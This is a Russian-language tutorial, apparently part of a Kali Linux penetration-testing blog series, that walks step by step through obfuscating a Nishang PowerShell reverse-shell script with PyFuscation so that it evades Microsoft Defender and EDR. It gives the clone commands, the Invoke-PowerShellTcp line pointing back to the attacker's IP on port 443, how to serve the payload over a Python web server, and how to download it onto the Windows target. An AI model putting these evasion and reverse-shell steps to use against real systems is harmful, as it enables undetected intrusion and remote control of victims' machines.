#84 Kali Linux для продвинутого тестирования на проникновение. Обфускация PowerShell и использование бесфайловых методов.
Здравствуйте, дорогие друзья.
Недавние улучшения в механизмах защиты безопасности конечных точек и мониторинге в реальном времени, использования EDR наложило множество ограничений на существующие инструменты атаки. Однако, там всегда есть новые способы обойти их. В этом разделе мы рассмотрим, как обфусцировать известную полезную нагрузку PowerShell и передачу удаленной оболочки злоумышленнику.
Мы будем использовать инструмент PyFuscation. Он написан на Python 3 и может заменить все имена функций, переменные и параметры данного сценария PowerShell. Его можно клонировать непосредственно из репозитория Git, выполнив следующую команду:
1 2 3 |
sudo git clone https://github.com/CBHue/PyFuscation cd PyFuscation sudo python3 PyFuscation.py |
Обфускатор должен быть готов к использованию. Теперь мы будем использовать скрипт Nishang PowerShell, для обфускации полезной нагрузки. Эти скрипты можно клонировать из репозитория Git, запустив sudo git clone https://github.com/samratashok/nishang
, и из той же папки cd nishang/Shells, add Invoke-PowerShellTcp –Reverse –IPAddress <yourKaliIP> -Port 443 в содержимое скрипта Invoke-PowerShellTcp.ps1 и сохраните файл (этот файл находится в папке nishang/shells). Отредактированный фрагмент кода показан на рисунке ниже:
Наконец, мы замаскируем сценарий PowerShell, который только что отредактировали, с помощью PyFuscation, запустив sudo python3 PyFuscation.py –fvp –ps nameofthescript.ps1
. Вы должны быть в состоянии видеть, что сценарии, функции, переменные, и параметры PowerShell теперь заменены на новую папку и новое имя файла, как показано на рисунке ниже:
Как только файл будет успешно обфусцирован, мы можем изменить наш каталог на выходную папку, а затем переименуем файл во что-то более простое для вызова из целевой системы, и мы разместим наш веб-сервер, используя модуль Python, просто запустив python3 –m http.server, как показано на рисунке ниже:
На целевой машине Windows мы можем просто запустить wget http://<yourkaliIP>/filename.ps1 -Outfile
(извлечь) любую папку из PowerShell. Теперь окончательный сценарий готов для сканирования антивирусным программным обеспечением. В этом примере мы будем использовать Microsoft Defender, для сканирования скрипта, как показано на рисунке ниже. Он никогда не должен ничего находить во вредоносном сценарии. Чтобы увидеть разницу, Вы можете сначала попробовать оригинальный скрипт без обфускации, где Вы увидите предупреждение от Microsoft Defender, помечая его как вредоносное ПО.
В качестве последнего шага, как только скрипт будет доставлен к цели, злоумышленники теперь могут открыть порт для подключения к цели. В этом случае порт 443 был установлен в начальной полезной нагрузке. Как только этот PowerShell — скрипт запускается, либо открывая его в PowerShell, либо запуская его, он должен открыть прямое обратное соединение со злоумышленниками, без блокировки антивирусом/EDR, как показано на рисунке ниже:
Мы рассмотрим все различные методы поддержания командования и контроля в следующем разделе.
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.